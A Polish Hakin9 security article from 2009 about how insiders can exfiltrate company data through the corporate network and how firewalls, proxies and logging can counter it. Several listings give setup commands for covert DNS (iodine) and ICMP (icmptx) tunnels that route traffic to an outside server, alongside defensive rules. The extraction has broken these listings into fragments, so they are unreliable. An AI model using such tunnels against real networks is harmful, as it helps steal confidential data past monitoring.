plik

HAKIN9

ATAK

11/2009

rzeciętny nieuczciwy pracownik ma
do dyspozycji wiele sposobów na
wyprowadzenie z firmy powierzonych

mu, często poufnych informacji. Pomijam
tutaj fakt zdobycia dostępu do tych informacji.
Zakładam, że pracownik taki dostęp
posiada bo albo został uprawniony by z nich
korzystać, albo uzyskał do nich dostęp w inny,
zapewne nieuczciwy sposób.

Sposoby wyprowadzenia (z premedytacją

używam tego właśnie słowa) informacji
można podzielić na fizyczne wyniesienie
informacji z siedziby firmy oraz na logiczne
wysłanie z wykorzystaniem komunikacji
sieciowej. Jest jeszcze trzecia możliwość,
mocno uzależniona od typu i rozmiaru
informacji, a mianowicie ustne jej przekazanie
przez nieuczciwego pracownika.

W przypadku fizycznego wyniesienia

informacji, pracownik ma do dyspozycji
wiele nośników danych, jakie może
wykorzystać. Mogą to być np.: płyty CD czy
DVD, wszelkiego rodzaju nośniki danych
podłączane do portu USB (przenośne dyski,
pamięci typu pendrive, aparaty fotograficzne,
telefony komórkowe, karty pamięci,
dowolne urządzenia posiadające możliwą
do wykorzystania pamięć i możliwość
podłączenia do komputera), czy wreszcie
kartki papieru, na których pewne informacje
można po prostu wydrukować. Nie będę się
tutaj zajmował sposobami ochrony przed

MARCIN KLAMRA

Z ARTYKUŁU

DOWIESZ SIĘ

w jaki sposób wyprowadzić

dane z firmy nawet przez

dobrze zabezpieczoną sieć,

w jaki sposób chronić się przed

wykradaniem informacji przez

pracownika.

CO POWINIENEŚ

WIEDZIEĆ

zasada działania sieci

komputerowych,

jak działają podstawowe usługi

i protokoły sieciowe (IP, DNS,

ICMP),

czym jest maskowanie

adresów IP (maskarada).

fizycznym wyniesieniem informacji przez
pracownika. Wydaje się, iż najprostszymi
metodami będzie uniemożliwienie korzystania
z wszelkich przenośnych nośników danych
bez odpowiedniej autoryzacji, pełny
monitoring korzystania z tego typu nośników,
czy wreszcie weryfikacja wynoszonych z
siedziby firmy rzeczy (choć przeszukiwanie
kieszeni pracownika godzi w jego
podstawowe prawa).

Ustne przekazanie informacji jest możliwe

jedynie w przypadku informacji niewielkich.
Trudno wyobrazić sobie, aby ktoś był w stanie
np.: nauczyć się na pamięć kodu źródłowego
jakiegoś oprogramowania i w ten sposób
wyniósł tajemnicę firmy. Nie twierdzę, że jest
to niemożliwe (można w końcu wynosić w
ten sposób po kilka linii kodu dziennie), ale
raczej mało skuteczne i długotrwałe. Ochronę
przed tego typu wyciekiem informacji można
realizować tylko na dwa sposoby. Pierwszym
jest znane z innych ustrojów zamykanie ludzi
na terenie zakładu bez kontaktu ze światem
zewnętrznym do czasu zrealizowania zadania.
Drugi, znacznie bardziej cywilizowany,
polega na zdobyciu lojalności pracownika,
gdzie skutecznym czynnikiem motywującym
zapewne mogłaby być wysokość uposażenia.
Zresztą jest to chyba najskuteczniejszy
sposób ochrony.

Logiczne wysłanie informacji z

wykorzystaniem sieci komputerowej

Stopień trudności

Wykradanie

informacji

przez sieć firmy

Nieuczciwy pracownik może wykorzystać szereg różnych

metod by wyprowadzić poufną informację firmową. Postaram

się przedstawić tutaj kilka z nich, wykorzystujących sieć

firmową i o ile jest to w ogóle możliwe, sposoby ochrony.

HAKIN9

WYKRADANIE INFORMACJI PRZEZ SIEĆ FIRMY

11/2009

może odbyć się przy pomocy sieci
firmowej lub przy pomocy innej sieci,
niekontrolowanej przez administratorów
firmy. Nieuczciwy pracownik może
wykorzystać inną sieć na dwa sposoby.
Może być to sieć bezprzewodowa, która
swoim zasięgiem obejmuje lokalizację
firmy. Pracownik może do takiej sieci
się podłączyć oprócz standardowego
połączenia do sieci firmowej.
Odpowiednio skonfigurowany system
operacyjny z odpowiednio dobranymi
prawami dla danego użytkownika nie
powinien do takiej sytuacji dopuścić.
Kolejnym przypadkiem innej sieci może
być sieć, z której pracownik korzysta
w przypadku podróży służbowej (na
lotnisku, w hotelu). Wtedy z poziomu
własnego komputera zestawia
zapewne kanał VPN do sieci firmy i
uzyskuje dostęp do danych firmowych.
Kopiuje je na swój komputer (o ile nie
znajdowały się tam wcześniej) i po
zerwaniu połączenia VPN przesyła dane
z wykorzystaniem dostępnej sieci w
dowolne miejsce.

Pojawia się tutaj problem

wykorzystania służbowego komputera
w podróży. Chodzi po pierwsze
o ewentualne dane, jakie na tym
komputerze mogą się znajdować, a po

drugie dostęp do danych w siedzibie
firmy z wykorzystaniem kanałów VPN.
Nawet jeśli wdrożony zostanie system
ochrony przed przesyłaniem danych
w innej sieci to nieuczciwy pracownik
może próbować w inny sposób (fizyczny)
wykraść dane, np.: wykonać fotografie
ekranu komputera, czy próbować np.:
wykręcić dysk twardy swojego komputera
(co akurat może zostać zauważone).

Zajmiemy się jednak sytuacją

wykradania informacji przy
wykorzystaniu sieci firmowej, do
której w ramach przyznanych
uprawnień, pracownik ma pełnoprawny
dostęp. Najprostszym sposobem
zabezpieczenia się przed wykradaniem
informacji przy użyciu sieci jest zupełne
ograniczenie dostępu do niej. Nie jest
to jednak najczęściej możliwe. Trudno
jest sobie wyobrazić pracę bez dostępu
do poczty elektronicznej czy serwisów
informacyjnych. Często pracownicy w
ramach swoich obowiązków muszą
korzystać także z innych usług takich
jak FTP, telefonia IP, komunikatory
internetowe. Ponadto, aby działały m.in.
w/w usługi konieczne jest korzystanie
z innych mechanizmów sieciowych jak
DNS, czy ICMP. Nieuczciwy pracownik
może wykorzystać dostępne mu usługi,

niezbędne do wykonywania obowiązków
służbowych w celu wyprowadzenia
informacji firmowej.

Najprostszą metodą wykradania

informacji będzie zapewne
wykorzystanie standardowych usług
dostępnych pracownikowi w codziennej
pracy. Mam tu przede wszystkim na
myśli usługi takie jak FTP, HTTP, HTTPS,
SMTP. Znacznie gorzej wygląda sytuacja
z innymi, szyfrowanymi protokołami
transmisji danych, jak np.: SSH i
wykorzystanie narzędzi scp, czy sftp.

W przypadku usługi FTP sprawa

wydaje się być stosunkowo prosta. Aby
uniemożliwić pracownikowi wysyłanie
danych przy użyciu protokołu FTP
konieczne jest zablokowanie polecenia
put, a co za tym idzie komendy STOR
protokołu FTP. Ten prosty zabieg
pozwala na pobieranie danych, lecz
uniemożliwia ich wysyłanie. Inną dobrą
praktyką będzie ograniczenie dostępu
FTP tylko do wybranych serwerów,
z których pracownik może w trakcie
pracy korzystać. Najczęściej lista takich
serwerów zawierać będzie adresy
kontrahentów czy firm współpracujących.

Rysunek 1.

Określanie dozwolonych komend FTP

Rysunek 2.

Definicja polityki z

wykorzystaniem adresów IP

Rysunek 3.

Definicja polityki z

wykorzystaniem tożsamości użytkowników

ATAK

HAKIN9 11/2009

WYKRADANIE INFORMACJI PRZEZ SIEĆ FIRMY

HAKIN9

11/2009

Konfiguracja Proxy FTP dla urządzeń

firmy WatchGuard (sposoby ochrony
pokaże na ich przykładzie oraz z
wykorzystaniem narzędzi dla systemu
Linux) jest dziecinnie prosta. Polega
na dodaniu odpowiedniej polityki typu
FTP-proxy, a następnie zdefiniowaniu
m.in. listy adresów dozwolonych
serwerów oraz listy komend FTP, jakie
użytkownicy mogą wykonywać. Rysunek
1. prezentuje sposób określania
dozwolonych komend protokołu FTP.

W systemach linuksowych możliwe

jest zastosowanie narzędzia FTP-proxy.
Konfiguracja tego proxy mieści się w
pliku /etc/ftp-proxy.conf. Ograniczenie
metod protokołu odbywa się poprzez
dodanie w pliku konfiguracyjnym linii
określającej dopuszczalne metody, na
przykład: ValidCommands ABOR, PASS,
PASV, USER, MODE, QUIT, RETR, SYST.

Protokół HTTP stanowi większe

wyzwanie niż protokół FTP. Przede
wszystkim ze względu na mnogość
dostępnych serwisów, typów informacji
jakie mogą być pobierane, czy
niejednoznaczność wykorzystania
podstawowych metod protokołu. O ile
w protokole FTP metoda

GET

(czyli

komenda

RETR

) jednoznacznie służy do

pobrania danych, o tyle w przypadku
HTTP nie można jednoznacznie
powiedzieć, że polecenie

GET

służy

do pobrania danych. Wykonując
metodę

GET

można bowiem w adresie

URL przesłać jakieś dane. Podobnie
sytuacja wygląda w przypadku
metody

POST

. Nie da się więc w prosty

sposób zablokować) kilku metod, by
uniemożliwić wysyłanie informacji.

Konieczne jest stosowanie innych

zabiegów w celu ochrony przed

wysyłaniem danych. Po pierwsze, o
ile to możliwe, należy ograniczyć zbiór
dostępnych dla użytkownika adresów
URL. Jeżeli nie jest to możliwe, trzeba
wykorzystać filtr zawartości stron
WWW (w przypadku urządzeń firmy
WatchGuard będzie to WebBlocker,
w przypadku systemów linuksowych
może to być DansGuardian). Pozwoli
on na ograniczenie dostępu do witryn
o tematyce niezwiązanej z typem
działalności firmy. Prawdopodobnie
najważniejszą kategorią jaką w tego
typu filtrach można się posługiwać
jest kategoria Uncategorized. Oznacza
ona wszystkie witryny, które nie zostały
sklasyfikowane. Najczęściej są to witryny,
które istnieją od bardzo krótkiego czasu.
Tymczasowa witryna stworzona na
potrzeby wyprowadzenia informacji z
firmy najprawdopodobniej znajdzie się
właśnie w tej kategorii. Kolejny sposób to
określanie dozwolonych typów danych
jakie mogą być przy użyciu protokołu
HTTP przesyłane.

Niestety wszystkie te zabiegi

mogą okazać się mało skuteczne
i potencjalny nieuczciwy pracownik
będzie w stanie wyprowadzić poufne
informacje z firmy. Ostatnim sposobem
ochrony będzie monitorowanie
każdej transmisji wykonywanej przez
pracownika (opisane dalej).

Protokół HTTPS obecnie można

traktować na równi z protokołem
HTTP. Jest on w końcu niczym innym
jak szyfrowanym protokołem HTTP.
Pojawia się oczywiście problem analizy
zawartości danych przesyłanych w
HTTPS, jako że są one zaszyfrowane.
Na szczęście istnieją rozwiązania typu
HTTPS-proxy, które dają dokładnie
takie same możliwości konfiguracji jak
w przypadku proxy HTTP. W przypadku
rozwiązań firmy WatchGuard proxy
HTTPS korzysta nawet z dokładnie
tych samych szablonów konfiguracji
co Proxy HTTP. W przypadku rozwiązań
linux’owych istnieje możliwość
skonfigurowania SQUID’a do filtrowania
protokołu HTTPS (krótki opis, znajduje
się na stronie WWW, adres w Ramce W
Sieci).

Filtrowanie ruchu HTTPS jest

oczywiście sprzeczne z ideą samego

Rysunek 5.

Tunelowanie ruchu w komunikatach DNS

Rysunek 4.

Raport aktywności użytkownika

ATAK

HAKIN9 11/2009

WYKRADANIE INFORMACJI PRZEZ SIEĆ FIRMY

HAKIN9

11/2009

protokołu HTTPS. Protokół został
przecież wprowadzony właśnie po to
by w sposób bezpieczny przesyłać
dane za pomocą protokołu HTTP. Proxy
filtrujące HTTPS wykorzystuje zasadę
ataku man-in-the-middle, co w tym
przypadku przekłada się na decryption-
in-the-middle. Połączenie HTTPS jest
przerywane przez proxy pośredniczące,
rozszyfrowane, filtrowane, a następnie
zestawiane z docelowym serwerem.
Mamy więc do czynienia de facto
z dwoma połączeniami HTTPS.
Taki sposób filtrowania generuje
oczywiście u użytkownika, który
zainicjował połączenie, informacje
o nieprawidłowym certyfikacie
serwera docelowego. Gdyby jednak
certyfikat wykorzystywany przez proxy
pośredniczące zaimportować do
przeglądarki użytkownika, wtedy żaden
komunikat o niebezpieczeństwie się nie
pojawi. Oczywiście użytkownik powinien
zostać poinformowany, że ruch HTTPS
jest filtrowany.

Podobne trudności filtrowania

treści pojawiają się w protokole SMTP.
Trudno bowiem z góry ograniczyć
użytkownikowi listę adresów pocztowych
do jakich może wysyłać wiadomości.
Można jedynie ograniczać wielkość
wiadomości, czy typy załączników.
Jedynym sensownym zabezpieczeniem
wydaje się przechowywanie kopii każdej
informacji wysyłanej przez pracowników
w celu ewentualnej późniejszej
weryfikacji. By było to możliwe
konieczne jest ograniczenie serwerów
SMTP, przy użyciu których użytkownicy
mogą wysyłać wiadomości pocztowe.

Najważniejszym sposobem

zabezpieczenia będzie zatem
monitorowanie i zapisywanie danych
o każdej przeprowadzanej transmisji.
Pozwala to na analizę tego, co wykonuje
dany użytkownik w Sieci. Jest to metoda
ochrony, która dopiero po zaistnieniu
faktu wyprowadzenia informacji może
pozwolić na jego stwierdzenie. Nie
ochroni przed utratą cennych danych,
ale informuje o utracie danych oraz
osobie, która je wyprowadziła. By
takie monitorowanie było skuteczne,
konieczne jest wprowadzenie
autentykacji użytkowników pragnących

otrzymać dostęp do zasobów
sieciowych. Pozwoli to na definiowanie
polityk bezpieczeństwa bazując
na tożsamości użytkowników (na
Rysunku 2. przedstawione są polityki
zdefiniowane z wykorzystaniem
adresów IP, na Rysunku 3. z
wykorzystaniem tożsamości
użytkowników). Autentykacja taka wcale
nie musi być uciążliwa. Korzystając z
mechanizmów Single Sign On może
ona być zupełnie transparentna dla
użytkownika.

Przykładowo produkty firmy

WatchGuard oferują tego typu
rozwiązania w połączeniu z Active

Directory. Filozofia działania całego
systemu transparentnej autentykacji
jest bardzo prosta. Użytkownik
rozpoczynając pracę, loguje się na
swoim komputerze wykorzystując do
tego celu konto stworzone w AD. W
momencie kiedy z jego komputera
generowany jest ruch sieciowy
przechodzący przez firewall następuje
weryfikacja tożsamości użytkownika
pracującego na komputerze o danym
adresie IP. Firewall dokonuje zapytania
do Authentication Gateway (jest to
oprogramowanie zainstalowane na
dowolnym komputerze należącym do
AD) o nazwę użytkownika oraz grup,

Rysunek 6.

Określanie dozwolonych typów rekordów DNS

Rysunek 7.

Tunelowanie ruchu w komunikatach ICMP

ATAK

HAKIN9 11/2009

HAKIN9

11/2009

do których należy zalogowany pod
danym adresem IP pracownik. Po
otrzymaniu odpowiedzi możliwa jest
weryfikacja jego uprawnień, bazując
na tożsamości oraz umieszczeniu
w logach dotyczących działalności
użytkownika nie adresu IP komputera, a
nazwy użytkownika.

Włączenie logowania wszelkiej

działalności sieciowej pozwoli na
późniejsze generowanie raportów,
czy zestawień generowanego ruchu
sieciowego, a co za tym idzie pozwoli
na stwierdzenie co dany użytkownik (i
kiedy) przesyłał w Sieci. Zebrane w ten

sposób informacje mogą następnie
posłużyć jako materiał dowodowy
przy ewentualnym stawianiu zarzutów
o wykradanie tajemnicy firmowej.
Na Rysunku 4. przedstawiony jest
fragment przykładowego raportu
wygenerowanego z wykorzystaniem
narzędzia WatchGuard Report Manager,
prezentujący wszystkie adresy URL
zasobów, jakie użytkownik pobrał.

Niestety, jak widać z powyższych

rozważań, ochrona informacji firmowej
jest niezwykle trudna. Właściwie trudno
ochronić firmę przed nieuczciwym
pracownikiem wykorzystującym

standardowe protokoły sieciowe.
Sytuacja staje się jeszcze bardziej
beznadziejna, gdy do wyprowadzenia
informacji wykorzystany zostanie
protokół, który pozornie jest bezpieczny,
gdyż nie służy do przesyłania danych,
nie jest protokołem transmisji danych,
a jedynie protokołem pomocniczym w
transmisji. Chodzi tutaj o tunelowanie
ruchu IP w takich protokołach jak DNS
czy ICMP. Poniżej zaprezentowany
został sposób skonfigurowania oraz
wykorzystania tego typu rozwiązania do
przesyłania informacji oraz ewentualne
metody obrony.

Zanim jednak do tego przejdziemy

należy zauważyć jeszcze jeden
problem. Istnieje możliwość zestawienia
tunelu VPN (choćby przy użyciu
oprogramowania OpenVPN) na
dowolnym porcie. Załóżmy sytuację,
w której dopuszczalne jest wysyłanie
zapytań DNS do zewnętrznych
serwerów. By było to możliwe konieczne
jest wysyłanie ruchu sieciowego na
port 53. Nic nie stoi na przeszkodzie, by
właśnie na tym porcie skonfigurować
serwer usługi OpenVPN. Nieuczciwy
pracownik będzie miał potencjalną
możliwość zestawienia kanału VPN
korzystając z odblokowanego portu
(o ile oczywiście będzie posiadał
odpowiednie prawa by zainstalować
aplikację OpenVPN na swoim firmowym
komputerze). Na szczęście rozwiązanie
tego problemu jest stosunkowo proste.
Wystarczy na przykładowym 53 porcie
uruchomić na firewallu serwer Proxy
DNS, który m.in. analizował będzie
zgodność ruchu przesyłanego na
tym porcie ze standardem. Próba
zestawienia kanału VPN w tym
przypadku nie powiedzie się.

Tunelowanie ruchu IP w protokole

DNS możliwe jest z wykorzystaniem
aplikacji iodine, czy NSTX. Aplikacje te
zostały stworzone do zastosowania w
płatnych sieciach WiFi, które pozwalają
na wysyłanie zapytań DNS, ale nie
wypuszczają innego ruchu, zanim
użytkownik nie dokona autentykacji.
Sieci takie często spotykane są
w hotelach czy na lotniskach. Ten
sam mechanizm można doskonale
wykorzystać do wyprowadzenia

Listing 1.

Tworzenie podstrefy tunel.moja.domena

ORIGIN

tunel

moja

domena

tunel

moja

domena

xxx

Listing 2.

Polecenia konfigurujące komputer 4

iodined

192.168.50.1

tunel

moja

domena

echo

> /

proc

sys

net

ipv4

ip_forward

iptables

POSTROUTING

nat

192.168.50.0

MASQUERADE

Listing 3.

Polecenia konfigurujące komputer 1

iodine

dns

moja

firma

tunel

moja

domena

route

del

default

route

add

host

dns

moja

firma

192.168.1.1

dev

eth0

route

add

default

192.168.50.1

dev

tun0

Listing 4.

Blokowanie wybranych typów rekordów z wykorzystaniem pdnsd

neg

{

ttl

86400

;

name

"moja.domena."

;

types

TXT

NULL

;

}

Listing 5.

Polecenia konfigurujące serwer icmptx

icmptx

192.168.50.1

ifconfig

tun0

192.168.50.1

netmask

255.255.255.0

echo

"1"

> /

proc

sys

net

ipv4

ip_forward

iptables

POSTROUTING

nat

192.168.50.0

MASQUERADE

Listing 6.

Polecenia konfigurujące komputer 1

icmptx

xxx

ifconfig

tun0

192.168.50.2

netmask

255.255.255.0

route

del

default

aoute

add

host

xxx

192.168.111.1

dev

eth0

route

add

default

192.168.50.1

dev

tun0

ATAK

HAKIN9 11/2009

Konieczność wprowadzenia zmian

w tablicy rutingu wymaga posiadania
odpowiednich praw dostępu. Dzięki
temu metoda ta jest mało skuteczna w
przypadku dobrze skonfigurowanego
systemu operacyjnego i restrykcyjnie
określonych praw użytkownika. Gdyby
nie ten fakt ochrona przed tego
typu transmisją sprowadzałaby się
do obserwacji ilości generowanych
zapytań DNS przez danego pracownika.
Taki ruch jest bowiem zgodny z RFC.
Jeśli zapytań jest dużo i są to zapytania
o tę samą nazwę domenową, na pewno
oznacza to nietypowe zachowanie, a
jako takie powinno zostać uznane za
podejrzane.

Ponadto z wykorzystaniem

serwera proxy DNS należy ograniczać
dopuszczalne typy rekordów o jakie
następuje zapytanie. Rozwiązanie iodine
wykorzystuje typ rekordu NULL (wartość
10), podczas gdy NSTX korzysta z typu
TXT (wartość 16).

W przypadku rozwiązań firmy

WatchGuard do ochrony przed tego
typu sposobem wykradania informacji
można wykorzystać filtr DNS-proxy.
Pozwala on na określenie typów
rekordów jakie mogą pojawiać się w
przesyłanych komunikatach DNS. By
uniemożliwić korzystanie z w/w narzędzi
konieczne będzie wyblokowanie
rekordów TXT (NULL jest wyblokowany
domyślnie). Konfigurację taką prezentuje
Rysunek 6.

W przypadku systemów linuksowych

konieczne jest wykorzystanie
dowolnego serwera proxy np.: pdnsd. W
pliku konfiguracyjnym (/etc/pdnsd.conf )
tego proxy istnieje możliwość określenia
jakie rekordy mają być cacheowane
negatywnie. Skutkuje to pustą lub
błędną odpowiedzią, co doprowadza
do zerwania komunikacji. Na Listingu 4.

przedstawiony jest wpis pozwalający na
wyblokowanie odpowiedzi dla domeny
moja.domena. dla rekordów typu TXT
oraz NULL.

Podobną rolę jak narzędzia

iodine oraz NSTX spełnia icmptx.
Jest to oprogramowanie służące do
tunelowania ruchu IP w komunikatach
ICMP echo-request oraz echo-
reply. Na Rysunku 7. schematycznie
przedstawiona została zasada działania
tego mechanizmu. Na komputerze
agresora (komputer 1) cały generowany
ruch jest tunelowany w komunikatach
echo-request, kierowanych do
komputera 2. Tam datagramy IP są
przesyłane do sieci Internet. Odpowiedź
przesyłana jest z wykorzystaniem
komunikatów echo-reply. Na serwerze
konieczne jest uruchomienie usługi
icmptx oraz skonfigurowanie możliwości
przesyłania za jego pomocą danych do
sieci Internet (przekazywanie pakietów,
maskowanie). Wszystkie operacje, jakie
konieczne są do uruchomienia serwera
usług icmptx, przedstawione są na
Listingu 5. Do komunikacji pomiędzy
komputerami 1 i 2 wykorzystane
zostaną wirtualne karty sieciowe oraz
podsieć 192.168.50.0/24, gdzie adres
192.168.50.1 zostanie wykorzystany w
serwerze jako gateway tej wirtualnej
sieci.

Na komputerze klienta konieczne

jest uruchomienie aplikacji icmptx
oraz odpowiednie ustawienie rutingu.
Operacje te (Listing 6) są niemal
identyczne, jak miało to miejsce
w przypadku tunelowania ruchu z
wykorzystaniem DNS. W miejsce
znaków x należy wpisać adres
IP serwera icmptx. Zakładam, że
komputer użytkownika pracuje w sieci
192.168.111.0/24 z adresem gateway
192.168..111.1.

Tunelowanie ruchu w pakietach

ICMP jest możliwe tylko w tych
sytuacjach, gdzie ruch ICMP jest
wypuszczany z sieci firmowej. Podobnie
jak w przypadku tunelowania ruchu
z wykorzystaniem DNS konieczne
jest posiadanie przez użytkownika
odpowiednich praw do skonfigurowania
tablicy rutingu.

Ochrona przed tego typu próbami

wyprowadzenia informacji jest prosta.
Wystarczy uniemożliwić pracownikom
wysyłanie komunikatów ICMP do sieci
zewnętrznej. Najczęściej pracownicy
niezależnie do swoich obowiązków nie
mają potrzeby korzystania z protokołu
ICMP. Dobrym sposobem ochrony
może być także ograniczenie rozmiaru
komunikatów ICMP, tak aby uniemożliwić
przesyłanie nagłówka IP w zawartości
komunikatu.

Podsumowanie

Nieuczciwy pracownik, jak widać, ma
szereg możliwości na wyprowadzenie
informacji firmowej. Wydaje się, że
zabezpieczenie się przed utratą danych
w sposób techniczny jest niezwykle
trudne. Wynika to z faktu mnogości
sposobów transmisji danych oraz
powszechnego wykorzystywania
usług sieciowych w codziennej pracy.
Takie zabezpieczenie powinno być
wdrożone wielowarstwowo (określenie
praw w systemie operacyjnym, polityk
bezpieczeństwa na urządzeniach
filtrujących ruch, monitorowanie
transmisji sieciowych) i na pewno
sprawi wiele utrudnień. Być może (jak
wspomniałem na początku) najlepszym
sposobem jest zyskanie lojalności
pracownika.

Marcin Klamra

Specjalista ds. bezpieczeństwa firmy CCNS

SA, asystent w Instytucie Teleinformatyki

Politechniki Krakowskiej. Od 1999 roku zajmuje

się zagadnieniami administracji systemów

komputerowych i bezpieczeństwem w sieciach

komputerowych. Na stałe związany z firmą

CCNS SA, w której zajmuje się rozwiązaniami

bezpieczeństwa sieciowego. Jako Certyfikowany

Trener WatchGuard Inc. prowadzi szkolenia

w Autoryzowanym Centrum Szkoleniowym

WatchGuard, stworzonym przez firmę CCNS

SA. Swoją wiedzę pogłębia uczestnicząc jako

asystent naukowy w pracach badawczych Instytutu

Teleinformatyki Politechniki Krakowskiej.

Kontakt z autorem: mklamra@ccns.pl.

W Sieci

•   http://thomer.com/howtos/nstx.html,
•   http://thomer.com/icmptx/,
•   http://www.squid-cache.org/,
•   http://wiki.squid-cache.org/Features/SslBump,
•   http://code.kryo.se/iodine/,
•   http://members.home.nl/p.a.rombouts/pdnsd/index.html.